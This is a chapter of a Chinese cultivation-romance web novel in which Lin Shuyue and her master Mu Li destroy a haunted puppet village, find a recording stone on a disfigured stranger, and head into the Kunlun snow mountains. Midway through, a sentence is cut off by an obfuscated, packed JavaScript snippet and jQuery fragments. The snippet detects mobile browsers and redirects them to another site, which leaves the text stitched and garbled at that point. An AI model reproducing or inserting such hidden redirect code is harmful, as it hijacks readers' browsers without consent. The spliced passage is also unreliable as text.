看着眼前的长发，林疏月罕见地愣神了，恍惚间她伸出手抚摸着慕离的长发。
等林疏月回过神的时候，她已经给慕离简单地挽完头发，那根素白的簪子安静地插在慕离头上，配合他一袭白衣，显得慕离更加超脱凡尘。
林疏月怔愣看着自己的手，在她的记忆中，她从来都没有帮慕离挽发，更别说帮其他人了，就连她自己的都是敷衍了事。
她是什么时候学会挽发的？是什么时候给别人挽发过的？
这些记忆林疏月从来都没有，她有些困惑地看着站起来的慕离，再垂眸看向自己的双手，喃喃出声道：“师尊，我不记得我会挽发了。”
慕离心疼地看着有些茫然无措的林疏月，他伸出手揉了揉林疏月的头道：“弟子牌和簪子给本座。”
林疏月不解但依旧把弟子牌交给慕离，她有预感，只要她想起曾经丢失的记忆，或许一切问题都能解开，或许到那一天，杀了慕离便可以真的渡劫成功了。
慕离用灵力将弟子牌变成一颗晶莹剔透的珠子，随后嵌入簪子的末端，走到林疏月的背后，替林疏月挽发。
寒眠在慕离靠近的时候，直接消失在林疏月的发间，重新回到她的识海中。
“师尊这么做不合规矩吧？”
林疏月回想着剑宗的生活，虽然她并没有在剑宗待几天，但她也是听到其他长老对弟子的嘱咐。
“弟子牌不是不能被损毁吗？违反者不是都要去后山禁闭思过三日吗？”
“你是本座的弟子，无需在意别的。”慕离的声音平淡，将簪子插入林疏月的发中。
火红的衣服衬得林疏月像妖孽，但发间素白的簪子却压下这份妖孽感，点缀一点圣洁。
林疏月听着慕离的话，在心中啧啧道，真狂啊，这就是绝对的修为和权力吗？
两枚簪子安静地插在双方的头上，林疏月仔细感受着其中蕴含的灵力，感知到簪子中澎拜的灵力，她满意地笑起来。
天道之女，就算你封了我的修为又如何，我依旧可以用灵力。
“现在我们要做什么？外面这些木偶皮影又该怎么处理？”林疏月指着外面的木偶皮影，好奇地问道慕离。
“你想留还是毁了？”慕离将选择的权力交给林疏月。
“弟子吗？”
林疏月有些意外，慕离对待自己这位关门弟子似乎有点太好了，又是找修复经脉的办法，又是给自己挽发，现在又将选择权交给自己。
这也太好了吧。
这里曾经有林疏月美好的回忆，温柔的大娘、耐心的老奶奶还有给自己一口饭吃的酒楼老板，可眼前的村子只不过是一个空城，曾经的人或者物都已经物是人非了。
“毁了吧。”
“嗯，站我身边。”
慕离没有问林疏月为何要这样选择，他的手掌心汇聚着灵力，随后半蹲了下去，将手掌覆盖在泥土上方。
无数的灵力随着泥土的痕迹朝着四周衍生，逐渐将整个村子覆盖。
就在这时，林疏月突然在门口看到一个含笑的木偶皮影，它的嘴角的笑容一直裂开到耳后，漆黑的眼瞳不带一丝感情，直勾勾看着林疏月。
突然两行红色的血泪落下，它张嘴似乎想哭，可惜制作它的人并没有给它做舌头，它咧开着诡异的笑容，在看到林疏月看向自己，身体一闪消失在林疏月的视野。
这是谁？
林疏月的神识并没有察觉到它的存在，但是她现在不能离开慕离的身边，不然会暴露她有记忆的事情。
寒眠，追上去。
见寒眠出去，林疏月目光重新看向慕离，他的神色认真，很显然并没有发现，或者看见刚才的木偶皮影。
慕离这一世的实力很强，这是林疏月所知道的。
不然上次的魇不会如此针对慕离。
要么制作这个木偶皮影的人是故意只给林疏月看的，要么就是制作他的人灵力远超慕离之上。
“牵本座。”慕离站起来，自然地将手递了过去。
林疏月此刻脑袋中都在想那个木偶皮影的事情，所以在听到慕离的话后，直接将牵住了慕离的手。
无数的蓝色灵气拔地而起，慕离带着林疏月飘到了上空，漆黑的眼眸中蓝光一闪而过。
而这时，寒眠也回到林疏月的神识中，信息同步传递给林疏月，不过不给林疏月反应的机会，她的目光一凌看向一处，寒眠随着她的目光直接杀了过去。
她确实是不能使用灵力了，但寒眠可不是一般的武器，虽然不能发挥百分百的实力，但杀个鬼鬼祟祟的人还是足够的。
“怎么了？”慕离察觉到林疏月一闪而过的杀意，看着低下直接被灵力推平的村子，他带着林疏月落下问道。
想了下，林疏月指着不远处说道：“那边似乎有个人。”与其瞒着慕离，不如直接和慕离说清楚。
万一后续因为这个人，导致她和慕离陷入危险，可就得不偿失了。
“有人？”慕离并没有感知到有人的靠近。
林疏月点头，寒眠已经重新回到神识中：“可能已经死了，弟子刚刚看到他是垂头靠在一个地方。”
很快，林疏月看到躲在房屋后的人，看到那个人的面容时候，林疏月和慕离同时皱眉。
此人的脸被刀片全部划伤，面容模糊，新旧伤疤全不交叠在一起，让人根本看不清他的面容到底是什么样子的，而他的手中似乎握着一个东西。
“师尊，这个是什么？”林疏月蹲了下去，掰开手指将里面的灵石拿了出来。
“留影石。”慕离拿走林疏月手中的留影石头，注入灵力激活留影石，顺便解释此为何物。
“与你在弟子试炼见到的留影镜子是一类东西，只不过留影石可以记录画面。”
林疏月了然地点头，留影石画面展开，入目便是令人误会的画面，许是角度的问题，当时慕离和林疏月牵着手，站在地面上讲话却被留影石拍出亲吻的感觉。
慕离的脖子连同耳后瞬间泛红，他慌乱地将留影石收回，收入自己的储物空间里面。
“诶？师尊为什么不继续看下去了？”林疏月还想知道他后面还拍了什么，“万一后面有线索呢？”
慕离欲言又止地看向林疏月，看着对面诚挚的眼神中只有好奇，并没有其他想法，任命地将留影石再次拿出，注入灵力。
林疏月看着后面的画面，啧啧称奇道：“这还真是个人才。”
原本她和慕离升空只不过是为了更好的操控灵力，从而摧毁整个村子，而不伤害到周围的草木，却在留影石里面变成了。
她和慕离，亲着嘴，逐渐飞入空中，亲得还难舍难分，两人的手从交叠变成了十指紧扣。
“够了。”慕离将留影石收回，整张脸泛着不健康的红色，他看向不远处的山说道，“时间不多了，该走了。”
画面没了，林疏月有些遗憾地叹了一口气，在心中暗自吐槽，又不是没有亲过，都拜堂成亲了，这算什么。
“不过师尊，他为何要这样做？”林疏月不理解地问道。
“师徒恋为世人不容。”慕离淡淡地解释道。
师徒恋？不为世人所容？我怎么不知道？
这么多世里面，其中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841187|185058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师徒恋都不在少数，她也没有见过有哪个没长眼的敢乱说啊，也没有听别人说过什么禁止师徒恋之类的话。
但是林疏月似乎忘记一件事情。
那么多的世界里面，二人刚发展成伴侣，慕离就被林疏月毫不留情地砍死了，哪给人知道的机会。
林疏月眼底的疑惑更为浓厚了，看着慕离突然就心梗了，他伸出手捂住林疏月的眼睛，调整自己的呼吸道。
“现在不是想这个的时候，昆仑雪山即将开了。”
林疏月眨巴着眼睛，细密的睫毛刮着慕离的手掌心，听到慕离的话，林疏月收起自己乱七八糟的想法。
“那我们怎么进去啊？”
慕离收回手：“跟紧本座。”目光看向不远处若影若现的雪山，眼底的疑惑一闪而过，一些奇怪的画面出现在他的脑海中。
“师尊师尊，你说昆仑雪山中会不会有世外高人？”
林疏月不担心自己进不去昆仑雪山，毕竟她是昆仑雪山天生地养的孩子，或许其他人进昆仑雪山需要时机，需要契机，但是她林疏月不用。
只要她想，随时随地都可以进入昆仑雪山，和回家了一样。
“有。”
“那会是谁啊？是不是特别厉害？”
慕离撇了一眼林疏月，见她眼底的快夸我都藏不住了，他勾起唇角，又很快压了下去道：“据说寒眠剑主便是来自昆仑雪山，其武器寒眠也是从昆仑深处取得。”
“这么厉害的啊！”林疏月崇拜地说道，“那弟子以后也要成为这样的人。”
慕离停下来，认真看向林疏月，一字一句道：“若是可以，你现在就很好，不必成为她。”
林疏月疑惑不解：“可弟子现在不能修为，这样的弟子也很好吗？”
“现在的你，很自由。”
“这就很好。”
林疏月更不理解了，慕离肯定是没有之前的记忆，这是她能肯定的，那慕离为何会觉得之前的她不自由？
“自由”的含义是什么？什么才算是“自由”？
林疏月更加迷茫了，似乎这么多年来她都白过了。
“到了。”慕离用手指敲了敲林疏月的头，“牵住本座的衣袖。”
“哦哦哦。”
林疏月伸出手牵住慕离的衣袖，看着眼前昆仑雪山的入口，算了算距离，这里大概是昆仑雪山的背面，是终年照不到阳光的地方。
想到这里，林疏月倒吸一口冷气，她确实有一点耐寒，可现在的她没有灵力护体，但这可是昆仑雪山的极寒，虽然对她来说不致命，但不好受是真的。
况且就算簪子和弟子牌中有灵力，但不够她如此挥霍。
就在她开口向慕离要东西的时候，便看到慕离从储物袋中取出一件火红的披风给林疏月披上，细心地替林疏月扣好扣子。
“此处阴冷，你没有灵力傍身，跟紧本座身边，若是察觉不适，及时和本座说。”末了慕离还是觉得不放心，再次拿出一块莹白色的玉石递给林疏月道。
“此为暖玉，你随身携带，可以抵御大部分的严寒。”
准备的衣服是红色的，披风也是红色的，都是她最喜欢的颜色，知道她没有灵力，提早准备好暖玉御寒。
若不是林疏月确定慕离没有记忆，她都要怀疑慕离是不是带着记忆，就等着自己来找他了。
如果真的是这样的话，自己倒像是个羊入虎口的小羔羊。
不过若是他有记忆的话，怕是见面的第一刻就把自己杀了，毕竟她可是杀了慕离九十九世啊。
每一世的慕离，可以说是含冤而死的。